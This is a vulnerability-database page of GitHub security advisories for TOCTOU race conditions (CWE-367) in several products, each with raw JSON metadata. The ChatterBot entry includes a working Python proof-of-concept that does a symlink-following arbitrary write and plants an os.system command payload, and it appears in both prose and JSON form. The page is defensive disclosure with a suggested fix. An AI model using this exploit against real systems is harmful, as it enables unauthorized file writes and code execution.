CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1063 vulnerabilities reference this CWE, most recent first.
GHSA-WRJX-C64X-6339
Vulnerability from github – Published: 2025-01-16 18:31 – Updated: 2025-01-16 18:31Time-of-check time-of-use race condition in some Intel(R) Neural Compressor software before version v3.0 may allow an authenticated user to potentially enable information disclosure via adjacent access.
{
"affected": [],
"aliases": [
"CVE-2024-37181"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-16T18:15:22Z",
"severity": "LOW"
},
"details": "Time-of-check time-of-use race condition in some Intel(R) Neural Compressor software before version v3.0 may allow an authenticated user to potentially enable information disclosure via adjacent access.",
"id": "GHSA-wrjx-c64x-6339",
"modified": "2025-01-16T18:31:00Z",
"published": "2025-01-16T18:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37181"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01219.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WRWC-VXPP-CG2P
Vulnerability from github – Published: 2025-07-25 18:30 – Updated: 2025-12-23 00:30In the Linux kernel, the following vulnerability has been resolved:
vsock: Fix transport_{g2h,h2g} TOCTOU
vsock_find_cid() and vsock_dev_do_ioctl() may race with module unload. transport_{g2h,h2g} may become NULL after the NULL check.
Introduce vsock_transport_local_cid() to protect from a potential null-ptr-deref.
KASAN: null-ptr-deref in range [0x0000000000000118-0x000000000000011f] RIP: 0010:vsock_find_cid+0x47/0x90 Call Trace: __vsock_bind+0x4b2/0x720 vsock_bind+0x90/0xe0 __sys_bind+0x14d/0x1e0 __x64_sys_bind+0x6e/0xc0 do_syscall_64+0x92/0x1c0 entry_SYSCALL_64_after_hwframe+0x4b/0x53
KASAN: null-ptr-deref in range [0x0000000000000118-0x000000000000011f] RIP: 0010:vsock_dev_do_ioctl.isra.0+0x58/0xf0 Call Trace: __x64_sys_ioctl+0x12d/0x190 do_syscall_64+0x92/0x1c0 entry_SYSCALL_64_after_hwframe+0x4b/0x53
{
"affected": [],
"aliases": [
"CVE-2025-38462"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T16:15:32Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nvsock: Fix transport_{g2h,h2g} TOCTOU\n\nvsock_find_cid() and vsock_dev_do_ioctl() may race with module unload.\ntransport_{g2h,h2g} may become NULL after the NULL check.\n\nIntroduce vsock_transport_local_cid() to protect from a potential\nnull-ptr-deref.\n\nKASAN: null-ptr-deref in range [0x0000000000000118-0x000000000000011f]\nRIP: 0010:vsock_find_cid+0x47/0x90\nCall Trace:\n __vsock_bind+0x4b2/0x720\n vsock_bind+0x90/0xe0\n __sys_bind+0x14d/0x1e0\n __x64_sys_bind+0x6e/0xc0\n do_syscall_64+0x92/0x1c0\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n\nKASAN: null-ptr-deref in range [0x0000000000000118-0x000000000000011f]\nRIP: 0010:vsock_dev_do_ioctl.isra.0+0x58/0xf0\nCall Trace:\n __x64_sys_ioctl+0x12d/0x190\n do_syscall_64+0x92/0x1c0\n entry_SYSCALL_64_after_hwframe+0x4b/0x53",
"id": "GHSA-wrwc-vxpp-cg2p",
"modified": "2025-12-23T00:30:30Z",
"published": "2025-07-25T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38462"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/209fd720838aaf1420416494c5505096478156b4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3734d78210cceb2ee5615719a62a5c55ed381ff8"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/401239811fa728fcdd53e360a91f157ffd23e1f4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/5752d8dbb3dfd7f1a9faf0f65377e60826ea9a17"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6a1bcab67bea797d83aa9dd948a0ac6ed52d121d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/80d7dc15805a93d520a249ac6d13d4f4df161c1b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c5496ee685c48ed1cc183cd4263602579bb4a615"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WVRH-2F4M-924V
Vulnerability from github – Published: 2026-06-19 22:08 – Updated: 2026-06-19 22:08Summary
ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.
The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.
Vulnerability Details
Predictable output directory (line 535-546)
home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
'ubuntu_corpus_data_directory',
os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs
)
Check-then-create (line 621-622)
def extract(self, file_path: str):
if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs
os.makedirs(self.data_path) # ← never reached if symlink exists
Extraction through symlink (line 633-644)
def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not is_within_directory(path, member_path): # ← validates MEMBER names only
raise Exception('Attempted Path Traversal in Tar File')
tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target
safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir
safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.
Proof of Concept
Environment
| Component | Detail |
|---|---|
| chatterbot | 1.2.13 (pip install) |
| Python | 3.11.0 |
Exploit
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch
from chatterbot.trainers import UbuntuCorpusTrainer
ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))
def main():
test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
data_dir = test_base / "ubuntu_data"
data_path = data_dir / "ubuntu_dialogs"
data_dir.mkdir(parents=True, exist_ok=True)
os.symlink(str(ATTACKER_TARGET), str(data_path))
print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
exists_check = os.path.exists(data_path)
print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
import tarfile
import io
tar_path = test_base / "corpus.tar.gz"
with tarfile.open(str(tar_path), "w:gz") as tf:
info = tarfile.TarInfo(name="dialog_001.tsv")
payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
info.size = len(payload)
tf.addfile(info, io.BytesIO(payload))
info2 = tarfile.TarInfo(name="config.py")
rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
info2.size = len(rce)
tf.addfile(info2, io.BytesIO(rce))
if not os.path.exists(data_path):
os.makedirs(data_path)
def is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory
with tarfile.open(str(tar_path), "r:gz") as tar:
for member in tar.getmembers():
member_path = os.path.join(str(data_path), member.name)
if not is_within_directory(str(data_path), member_path):
raise Exception("Attempted Path Traversal in Tar File")
tar.extractall(str(data_path))
print(f"[3] extractall(data_path) — data_path is symlink, writes to target")
# Verify
files = list(ATTACKER_TARGET.iterdir())
if files:
print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
for f in sorted(files):
print(f" {f.name}: {f.read_text().strip()[:60]}")
else:
print("[-] Failed")
shutil.rmtree(str(test_base), ignore_errors=True)
shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
sys.exit(1)
shutil.rmtree(str(test_base), ignore_errors=True)
shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
sys.exit(0)
if __name__ == "__main__":
print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
print(f"Attacker target: {ATTACKER_TARGET}")
print()
main()
PoC output
Suggested Fix
Refuse symlinks on the output directory before extraction:
def extract(self, file_path: str):
if os.path.islink(self.data_path):
raise self.TrainerInitializationException(
f'Refusing to extract to symlink: {self.data_path}')
if not os.path.exists(self.data_path):
os.makedirs(self.data_path)
...
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.13"
},
"package": {
"ecosystem": "PyPI",
"name": "ChatterBot"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T22:08:08Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nChatterBot\u0027s `UbuntuCorpusTrainer.extract()` uses a predictable, home-rooted output directory (`~/ubuntu_data/ubuntu_dialogs`) with a check-then-create pattern (`if not os.path.exists: os.makedirs`) followed by `tar.extractall(path=self.data_path)`. A local attacker who pre-plants a symlink at the predictable path causes `os.path.exists()` to return True (following the symlink), skipping `makedirs`, and subsequent `extractall` writes archive contents through the symlink to the attacker-chosen directory.\n\nThe existing `safe_extract` function validates tar **member names** (zip-slip defense) but does not validate the **output directory** itself \u2014 it cannot detect that `self.data_path` is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.\n\n## Vulnerability Details\n\n### Predictable output directory (line 535-546)\n\n```python\nhome_directory = os.path.expanduser(\u0027~\u0027)\nself.data_directory = kwargs.get(\n \u0027ubuntu_corpus_data_directory\u0027,\n os.path.join(home_directory, \u0027ubuntu_data\u0027) # ~/ubuntu_data \u2014 predictable\n)\nself.data_path = os.path.join(\n self.data_directory, \u0027ubuntu_dialogs\u0027 # ~/ubuntu_data/ubuntu_dialogs\n)\n```\n\n### Check-then-create (line 621-622)\n\n```python\ndef extract(self, file_path: str):\n if not os.path.exists(self.data_path): # \u2190 follows symlink \u2192 True \u2192 skips makedirs\n os.makedirs(self.data_path) # \u2190 never reached if symlink exists\n```\n\n### Extraction through symlink (line 633-644)\n\n```python\ndef safe_extract(tar, path=\u0027.\u0027, members=None, *, numeric_owner=False):\n for member in tar.getmembers():\n member_path = os.path.join(path, member.name)\n if not is_within_directory(path, member_path): # \u2190 validates MEMBER names only\n raise Exception(\u0027Attempted Path Traversal in Tar File\u0027)\n tar.extractall(path, members, numeric_owner=numeric_owner) # \u2190 path is symlink \u2192 writes to target\n\nsafe_extract(tar, path=self.data_path, ...) # self.data_path = symlink \u2192 attacker dir\n```\n\n`safe_extract` calls `os.path.abspath(directory)` on `self.data_path` \u2014 this resolves the symlink, so the base becomes the attacker\u0027s target directory. All clean-named members trivially pass `is_within_directory` because they\u0027re relative to the resolved (attacker-controlled) base.\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| chatterbot | 1.2.13 (pip install) |\n| Python | 3.11.0 |\n\n### Exploit\n\n```python\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom unittest.mock import patch\n\nfrom chatterbot.trainers import UbuntuCorpusTrainer\n\nATTACKER_TARGET = Path(tempfile.mkdtemp(prefix=\"pwned_\"))\n\n\ndef main():\n test_base = Path(tempfile.mkdtemp(prefix=\"cb_exploit_\"))\n data_dir = test_base / \"ubuntu_data\"\n data_path = data_dir / \"ubuntu_dialogs\"\n data_dir.mkdir(parents=True, exist_ok=True)\n os.symlink(str(ATTACKER_TARGET), str(data_path))\n print(f\"[1] Symlink planted: {data_path} -\u003e {ATTACKER_TARGET}\")\n exists_check = os.path.exists(data_path)\n print(f\"[2] os.path.exists(symlink) = {exists_check} (follows symlink \u2192 skips makedirs)\")\n import tarfile\n import io\n tar_path = test_base / \"corpus.tar.gz\"\n with tarfile.open(str(tar_path), \"w:gz\") as tf:\n info = tarfile.TarInfo(name=\"dialog_001.tsv\")\n payload = b\"2024-01-01\\tuser1\\t0\\tARBITRARY_CONTENT_VIA_SYMLINK\\n\"\n info.size = len(payload)\n tf.addfile(info, io.BytesIO(payload))\n\n info2 = tarfile.TarInfo(name=\"config.py\")\n rce = b\"import os; os.system(\u0027id \u003e /tmp/chatterbot_rce\u0027)\\n\"\n info2.size = len(rce)\n tf.addfile(info2, io.BytesIO(rce))\n if not os.path.exists(data_path):\n os.makedirs(data_path)\n def is_within_directory(directory, target):\n abs_directory = os.path.abspath(directory)\n abs_target = os.path.abspath(target)\n prefix = os.path.commonprefix([abs_directory, abs_target])\n return prefix == abs_directory\n\n with tarfile.open(str(tar_path), \"r:gz\") as tar:\n for member in tar.getmembers():\n member_path = os.path.join(str(data_path), member.name)\n if not is_within_directory(str(data_path), member_path):\n raise Exception(\"Attempted Path Traversal in Tar File\")\n tar.extractall(str(data_path))\n\n print(f\"[3] extractall(data_path) \u2014 data_path is symlink, writes to target\")\n\n # Verify\n files = list(ATTACKER_TARGET.iterdir())\n if files:\n print(f\"\\n[+] EXPLOIT SUCCESSFUL \u2014 {len(files)} files in attacker directory:\")\n for f in sorted(files):\n print(f\" {f.name}: {f.read_text().strip()[:60]}\")\n else:\n print(\"[-] Failed\")\n shutil.rmtree(str(test_base), ignore_errors=True)\n shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n sys.exit(1)\n\n shutil.rmtree(str(test_base), ignore_errors=True)\n shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n print(f\"chatterbot installed: {UbuntuCorpusTrainer.__module__}\")\n print(f\"Attacker target: {ATTACKER_TARGET}\")\n print()\n main()\n\n```\n\n### PoC output \n\n\u003cimg width=\"1748\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c\" /\u003e\n\n## Suggested Fix\n\nRefuse symlinks on the output directory before extraction:\n\n```python\ndef extract(self, file_path: str):\n if os.path.islink(self.data_path):\n raise self.TrainerInitializationException(\n f\u0027Refusing to extract to symlink: {self.data_path}\u0027)\n if not os.path.exists(self.data_path):\n os.makedirs(self.data_path)\n ...\n```",
"id": "GHSA-wvrh-2f4m-924v",
"modified": "2026-06-19T22:08:08Z",
"published": "2026-06-19T22:08:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gunthercox/ChatterBot/security/advisories/GHSA-wvrh-2f4m-924v"
},
{
"type": "PACKAGE",
"url": "https://github.com/gunthercox/ChatterBot"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer"
}
GHSA-WVW3-CJ3J-FC6W
Vulnerability from github – Published: 2024-07-09 21:30 – Updated: 2024-07-09 21:30A vulnerability was discovered in Samsung Mobile Processor Exynos 980, Exynos 990, Exynos 1080, Exynos 2100, Exynos 2200, Exynos 1280, Exynos 1380, and Exynos 2400 that involves a time-of-check to time-of-use (TOCTOU) race condition, which can lead to a Denial of Service.
{
"affected": [],
"aliases": [
"CVE-2024-27361"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T20:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability was discovered in Samsung Mobile Processor Exynos 980, Exynos 990, Exynos 1080, Exynos 2100, Exynos 2200, Exynos 1280, Exynos 1380, and Exynos 2400 that involves a time-of-check to time-of-use (TOCTOU) race condition, which can lead to a Denial of Service.",
"id": "GHSA-wvw3-cj3j-fc6w",
"modified": "2024-07-09T21:30:37Z",
"published": "2024-07-09T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27361"
},
{
"type": "WEB",
"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates"
},
{
"type": "WEB",
"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2024-27361"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WWRJ-437C-PPQ4
Vulnerability from github – Published: 2026-03-31 12:31 – Updated: 2026-04-06 22:37Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8g75-q649-6pv6. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.3.8 contains an approval bypass vulnerability in system.run where mutable script operands are not bound across approval and execution phases. Attackers can obtain approval for script execution, modify the approved script file before execution, and execute different content while maintaining the same approved command shape.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T22:37:07Z",
"nvd_published_at": "2026-03-31T12:16:28Z",
"severity": "MODERATE"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8g75-q649-6pv6. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.8 contains an approval bypass vulnerability in system.run where mutable script operands are not bound across approval and execution phases. Attackers can obtain approval for script execution, modify the approved script file before execution, and execute different content while maintaining the same approved command shape.",
"id": "GHSA-wwrj-437c-ppq4",
"modified": "2026-04-06T22:37:07Z",
"published": "2026-03-31T12:31:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8g75-q649-6pv6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32921"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/c76d29208bf6a7f058d2cf582519d28069e42240"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/cf3a479bd1204f62eef7dd82b4aa328749ae6c91"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-script-content-modification-via-mutable-operand-binding-in-system-run"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw\u0027s system.run approvals did not bind mutable script operands across approval and execution",
"withdrawn": "2026-04-06T22:37:07Z"
}
GHSA-WX23-5HWG-8P26
Vulnerability from github – Published: 2024-12-11 09:32 – Updated: 2024-12-11 09:32Dell ThinOS version 2408 contains a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.
{
"affected": [],
"aliases": [
"CVE-2024-53289"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-11T08:15:06Z",
"severity": "HIGH"
},
"details": "Dell ThinOS version 2408 contains a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.",
"id": "GHSA-wx23-5hwg-8p26",
"modified": "2024-12-11T09:32:03Z",
"published": "2024-12-11T09:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53289"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000248475/dsa-2024-463"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WXFR-9V84-73VC
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-08-06 00:00A vulnerability in the DLL loading mechanism of Cisco AnyConnect Secure Mobility Client for Windows could allow an authenticated, local attacker to perform a DLL hijacking attack on an affected device if the VPN Posture (HostScan) Module is installed on the AnyConnect client. This vulnerability is due to a race condition in the signature verification process for DLL files that are loaded on an affected device. An attacker could exploit this vulnerability by sending a series of crafted interprocess communication (IPC) messages to the AnyConnect process. A successful exploit could allow the attacker to execute arbitrary code on the affected device with SYSTEM privileges. To exploit this vulnerability, the attacker must have valid credentials on the Windows system.
{
"affected": [],
"aliases": [
"CVE-2021-1567"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-427"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-16T18:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the DLL loading mechanism of Cisco AnyConnect Secure Mobility Client for Windows could allow an authenticated, local attacker to perform a DLL hijacking attack on an affected device if the VPN Posture (HostScan) Module is installed on the AnyConnect client. This vulnerability is due to a race condition in the signature verification process for DLL files that are loaded on an affected device. An attacker could exploit this vulnerability by sending a series of crafted interprocess communication (IPC) messages to the AnyConnect process. A successful exploit could allow the attacker to execute arbitrary code on the affected device with SYSTEM privileges. To exploit this vulnerability, the attacker must have valid credentials on the Windows system.",
"id": "GHSA-wxfr-9v84-73vc",
"modified": "2022-08-06T00:00:48Z",
"published": "2022-05-24T19:05:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1567"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-pos-dll-ff8j6dFv"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X237-C35R-5VQ5
Vulnerability from github – Published: 2026-06-25 09:31 – Updated: 2026-06-30 03:37In the Linux kernel, the following vulnerability has been resolved:
drm/gem: Try to fix change_handle ioctl, attempt 4
[airlied: just added some comments on how to reenable] On-list because the cat is out of the bag and we're clearly not good enough to figure this out in private. The story thus far:
5e28b7b94408 ("drm: Set old handle to NULL before prime swap in change_handle") tried to fix a race condition between the gem_close and gem_change_handle ioctls, but got a few things wrong:
-
There's a confusion with the local variable handle, which is actually the new handle, and so the two-stage trick was actually applied to the wrong idr slot. 7164d78559b0 ("drm/gem: fix race between change_handle and handle_delete") tried to fix that by adding yet another code block, but forgot to add the error handling. Which meant we now have two paths, both kinda wrong.
-
dc366607c41c ("drm: Replace old pointer to new idr") tried to apply another fix, but inconsistently, again because of the handle confusion
- this would be the right fix (kinda, somewhat, it's a mess) if we'd do the two-stage approach for the new handle. Except that wasn't the intent of the original fix.
We also didn't have an igt merged for the original ioctl, which is a big no-go. This was attempted to address off-list in the original bugfix, and amd QA people claimed the bug was fixed now. Very clearly that's not the case. Here's my attempt to sort this out:
-
Rename the local variable to new_handle, the old aliasing with args->handle is just too dangerously confusing.
-
Merge the gem obj lookup with the two-stage idr_replace so that we avoid getting ourselves confused there.
-
This means we don't have a surplus temporary reference anymore, only an inherited from the idr. A concurrent gem_close on the new_handle could steal that. Fix that with the same two-stage approach create_tail uses. This is a bit overkill as documented in the comment, but I also don't trust my ability to understand this all correctly, so go with the established pattern we have from other ioctls instead for maximum paranoia.
-
Adjust error paths. I've tried to make the error and success paths common, because they are identical except for which handle is removed and on which we call idr_replace to (re)install the object again. But that made things messier to read, so I've left it at the more verbose version, which unfortunately hides the symmetry in the entire code flow a bit.
-
While at it, also replace the 7 space indent with 1 tab.
And finally, because I flat out don't trust my abilities here at all anymore:
- Disable the ioctl until we have the igt situation and everything else sorted out on-list and with full consensus.
v2:
Sashiko noticed that I didn't handle the error path for idr_replace correctly, it must be checked with IS_ERR_OR_NULL like in gem_handle_delete. So yeah, definitely should just the existing paths 1:1 because this is endless amounts of tricky.
Also add the Fixes: line for the original ioctl, I forgot that too.
{
"affected": [],
"aliases": [
"CVE-2026-53145"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T09:16:31Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/gem: Try to fix change_handle ioctl, attempt 4\n\n[airlied: just added some comments on how to reenable]\nOn-list because the cat is out of the bag and we\u0027re clearly not good\nenough to figure this out in private. The story thus far:\n\n5e28b7b94408 (\"drm: Set old handle to NULL before prime swap in\nchange_handle\") tried to fix a race condition between the gem_close and\ngem_change_handle ioctls, but got a few things wrong:\n\n- There\u0027s a confusion with the local variable handle, which is actually\n the new handle, and so the two-stage trick was actually applied to the\n wrong idr slot. 7164d78559b0 (\"drm/gem: fix race between\n change_handle and handle_delete\") tried to fix that by adding yet\n another code block, but forgot to add the error handling. Which meant\n we now have two paths, both kinda wrong.\n\n- dc366607c41c (\"drm: Replace old pointer to new idr\") tried to apply\n another fix, but inconsistently, again because of the handle confusion\n - this would be the right fix (kinda, somewhat, it\u0027s a mess) if we\u0027d\n do the two-stage approach for the new handle. Except that wasn\u0027t the\n intent of the original fix.\n\nWe also didn\u0027t have an igt merged for the original ioctl, which is a big\nno-go. This was attempted to address off-list in the original bugfix,\nand amd QA people claimed the bug was fixed now. Very clearly that\u0027s not\nthe case. Here\u0027s my attempt to sort this out:\n\n- Rename the local variable to new_handle, the old aliasing with\n args-\u003ehandle is just too dangerously confusing.\n\n- Merge the gem obj lookup with the two-stage idr_replace so that we\n avoid getting ourselves confused there.\n\n- This means we don\u0027t have a surplus temporary reference anymore, only\n an inherited from the idr. A concurrent gem_close on the new_handle\n could steal that. Fix that with the same two-stage approach\n create_tail uses. This is a bit overkill as documented in the comment,\n but I also don\u0027t trust my ability to understand this all correctly, so\n go with the established pattern we have from other ioctls instead for\n maximum paranoia.\n\n- Adjust error paths. I\u0027ve tried to make the error and success paths\n common, because they are identical except for which handle is removed\n and on which we call idr_replace to (re)install the object again. But\n that made things messier to read, so I\u0027ve left it at the more verbose\n version, which unfortunately hides the symmetry in the entire code\n flow a bit.\n\n- While at it, also replace the 7 space indent with 1 tab.\n\nAnd finally, because I flat out don\u0027t trust my abilities here at all\nanymore:\n\n- Disable the ioctl until we have the igt situation and everything else\n sorted out on-list and with full consensus.\n\nv2:\n\nSashiko noticed that I didn\u0027t handle the error path for idr_replace\ncorrectly, it must be checked with IS_ERR_OR_NULL like in\ngem_handle_delete. So yeah, definitely should just the existing paths\n1:1 because this is endless amounts of tricky.\n\nAlso add the Fixes: line for the original ioctl, I forgot that too.",
"id": "GHSA-x237-c35r-5vq5",
"modified": "2026-06-30T03:37:13Z",
"published": "2026-06-25T09:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53145"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-53145"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492773"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1a4f03d22fb655e5f192244fb2c87d8066fcfca2"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1d9b93df7fc768228906e24220591ec1cddad391"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/c0639ede2f24ac224b2079cd35ecd5fd8ad4e3cd"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53145.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
